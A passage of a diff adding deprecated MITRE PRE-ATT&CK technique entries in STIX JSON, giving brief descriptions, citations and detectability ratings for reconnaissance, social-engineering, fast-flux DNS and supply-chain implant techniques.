"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Fast Flux DNS", + "description": "**This technique has been deprecated. Please use [Fast Flux DNS](https://attack.mitre.org/techniques/T1568/001).**\n\nA technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1325", + "url": "https://attack.mitre.org/techniques/T1325" + }, + { + "description": "Jamie Riden. (2008, August 16). HOW FAST-FLUX SERVICE NETWORKS WORK. Retrieved March 6, 2017.", + "source_name": "HoneynetFastFlux" + }, + { + "description": "Misnomer. (2012, May 4). RESEARCH TO DETECTION \u2013 IDENTIFY FAST FLUX IN YOUR ENVIRONMENT. Retrieved March 6, 2017.", + "source_name": "MisnomerFastFlux" + }, + { + "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref", + "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.", + "source_name": "MehtaFastFluxPt1" + }, + { + "source_name": "MehtaFastFluxPt2", + "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.", + "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-03-30T14:06:03.611Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true, + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1102", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Fast flux is generally simple for an adversary to set up and offers several advantages. Such advantages include limited audit trails for defenders to find, ease of operation for an adversary to maintain, and support for main nodes.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as IPS, domain registrars, and service providers are likely in the best position for detection.", + "x_mitre_detectable_by_common_defenses": "Partial" + }, + { + "id": "attack-pattern--103d72e6-7e0d-4b3a-9373-c38567305c33", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Friend/Follow/Connect to targets of interest", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1344).\n\nOnce a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1344", + "external_id": "T1344" + }, + { + "source_name": "NEWSCASTER2014", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" + }, + { + "source_name": "BlackHatRobinSage", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1121", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--eacd1efe-ee30-4b03-b58f-5b3b1adfe45d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Friend/Follow/Connect to targets of interest", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1364).\n\nA form of social engineering designed build trust and to lay the foundation for future interactions or attacks. (Citation: BlackHatRobinSage)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1364", + "external_id": "T1364" + }, + { + "source_name": "BlackHatRobinSage", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1141", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Connecting with \"friends\" is a fundamental requirement for social media - without it, social media is worthless. An adversary can easily create a profile and request targets to validate the requests.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Users have the ability to detect and report non-authenticated individuals requesting to follow, friend or connect to a target. However the rigidity in validating the users is not typically followed by standard users.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--e754fa49-2db1-416b-92db-7f886decd099", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Generate analyst intelligence requirements", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1234).\n\nAnalysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1234", + "external_id": "T1234" + }, + { + "source_name": "Herring1999", + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. 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The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1365).\n\nDuring production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1365", + "external_id": "T1365" + }, + { + "source_name": "McDRecall", + "description": "Tash Shifrin. (2006, October 16). Malware forces McDonald\u2019s recall of giveaway MP3s. Retrieved March 9, 2017." + }, + { + "source_name": "SeagateMaxtor", + "description": "Brandon Hill. (2007, November 14). Seagate Serves External HDDs with a Side of Virus. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "The number of elements and components in a supply chain of HW or SW is vast and detecting an implant is complex for SW, but more complex for HW.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Access to the supply chain by an adversary can be a challenging endeavor, depending on what element is attempting to be subverted.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1142", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--6f088e84-37b2-44de-8df3-393908f2d77b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Host-based hiding techniques", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314).\n\nHost based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1314", + "external_id": "T1314" + }, + { + "source_name": "VirutAP", + "description": "Microsoft Malware Protection Center. (2008, July 30). Virus: Win32/Virut.AP. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1091", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--fb39384c-00e4-414a-88af-e80c4904e0b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Human performs requested action of physical nature", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nThrough social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1385", + "url": "https://attack.mitre.org/techniques/T1385" + }, + { + "source_name": "AnonHBGary", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/" + }, + { + "description": "Taylor Armerding. (2012, October 25). Line blurs between insider, outsider attacks. Retrieved March 9, 2017.", + "source_name": "CSOInsideOutside" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "modified": "2020-10-14T01:53:28.015Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1162", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Non-hypersensing environments do not typically collect this level of detailed information.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--0fad2267-9f46-4ebb-91b5-d543243732cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify analyst level gaps", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1233).\n\nAnalysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1233", + "external_id": "T1233" + }, + { + "source_name": "BrighthubGapAnalysis", + "description": "Ronda Bowen. (2014, March 26). Performing a Gap Analysis: Where Do You Begin?. Retrieved March 14, 2017." + }, + { + "source_name": "ICD115", + "description": "Office of the Director of National Intelligence. (2012, December 21). ICD 115: Intelligence Community Capability Requirements Process. Retrieved March 2, 2017." + }, + { + "source_name": "JP2-01", + "description": "Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1010", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--1f82ef59-b7da-4cd3-a41c-2e80f80f084f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify business processes/tempo", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1280).\n\nUnderstanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1280", + "external_id": "T1280" + }, + { + "source_name": "Scasny2015", + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017." + }, + { + "source_name": "Infosec-osint", + "description": "InfoSec Institute. (2013, September 11). OSINT (Open-Source Intelligence). Retrieved May 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Current or previous employees may divulge information on the Internet. If insiders are used, the defender may have policies or tools in place to detect loss of this data or knowledge.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "In some cases, this requires some insider knowledge or specialized access to learn when critical operations occur in a corporation. For publicly traded US corporations, there is a lot of open source information about their financial reporting obligations (per SEC). Companies announce their annual shareholder meeting and their quarter phone calls with investors. Information such as this can help the adversary to glean certain aspects of the business processes and/or rhythm.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1057", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--5b6ce031-bb86-407a-9984-2b9700ac4549", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify business relationships", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1272).\n\nBusiness relationship information includes the associates of a target and may be discovered via social media sites such as [LinkedIn](https://www.linkedin.com) or public press releases announcing new partnerships between organizations or people (such as key hire announcements in industry articles). This information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: RSA-APTRecon) (Citation: Scasny2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1272", + "external_id": "T1272" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + }, + { + "source_name": "Scasny2015", + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender. Much of this information is widely known and difficult to obscure.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Made easier by today's current social media.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1049", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--73e7d7d5-1782-4cd0-a4d7-00c7ec051c2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify business relationships", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1283).\n\nBusiness relationship information may be used by an adversary to shape social engineering attempts (exploiting who a target expects to hear from) or to plan for technical actions such as exploiting network trust relationship. (Citation: 11StepsAttackers)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1283", + "external_id": "T1283" + }, + { + "source_name": "11StepsAttackers", + "description": "Thor Olavsrud. (2014, September 2). 11 Steps Attackers Took to Crack Target. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Exception to the rule is if the adversary tips off the target that others have been asking about the relationship with them.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Requires an intensive process. In some industries, business relationships may be public in order to generate business, but this is not the case for all industries and all relationships.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1060", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify gap areas", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1225).\n\nLeadership identifies gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: ODNIIntegration) (Citation: ICD115)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1225", + "external_id": "T1225" + }, + { + "source_name": "ODNIIntegration", + "description": "Office of the Director of National Intelligence. (n.d.). Intelligence Integration - Who Are We. Retrieved March 2, 2017." + }, + { + "source_name": "ICD115", + "description": "Office of the Director of National Intelligence. (2012, December 21). ICD 115: Intelligence Community Capability Requirements Process. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1002", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify groups/roles", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1270).\n\nPersonnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1270", + "external_id": "T1270" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1047", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify job postings and needs/gaps", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1248).\n\nJob postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on technologies within the organization which could be valuable in attack or provide insight in to possible security weaknesses or limitations in detection or protection mechanisms. (Citation: JobPostingThreat)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1248", + "external_id": "T1248" + }, + { + "source_name": "JobPostingThreat", + "description": "Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Impossible to differentiate between an adversary and a normal user when accessing open/public information.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Publicly posted information by design. Providing too much detail in the job posting could aid the adversary in learning more about the target's environment and possible technical weaknesses/deficiencies.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1025", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify job postings and needs/gaps", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1278).\n\nJob postings, on either company sites, or in other forums, provide information on organizational structure, needs, and gaps in an organization. This may give an adversary an indication of weakness in an organization (such as under-resourced IT shop). Job postings can also provide information on an organizations structure which could be valuable in social engineering attempts. (Citation: JobPostingThreat) (Citation: RSA-APTRecon)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1278", + "external_id": "T1278" + }, + { + "source_name": "JobPostingThreat", + "description": "Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017." + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Very public by design.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1055", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify job postings and needs/gaps", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1267).\n\nJob postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1267", + "external_id": "T1267" + }, + { + "source_name": "JobPostingThreat", + "description": "Jay D. Krasnow. (2000, October). The Competitive Intelligence and National Security Threat from Website Job Listings. Retrieved March 16, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Very public by design.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1044", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--0c0f075b-5d69-43f2-90df-d9ad18f44624", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Identify people of interest", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269).\n\nThe attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1269", + "external_id": "T1269" + }, + { + "source_name": "RSA-APTRecon", + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017." 